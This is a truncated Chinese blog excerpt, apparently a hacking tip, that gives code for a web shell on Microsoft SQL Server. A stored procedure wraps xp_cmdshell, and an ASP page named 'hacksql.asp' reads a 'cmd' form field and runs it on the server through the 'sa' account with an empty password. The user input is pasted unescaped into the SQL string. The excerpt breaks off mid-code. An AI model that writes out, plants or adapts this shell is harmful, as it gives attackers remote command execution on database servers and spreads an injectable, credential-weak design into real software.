1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"
rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "
[ 查看全文 ]2016-01-29 标签: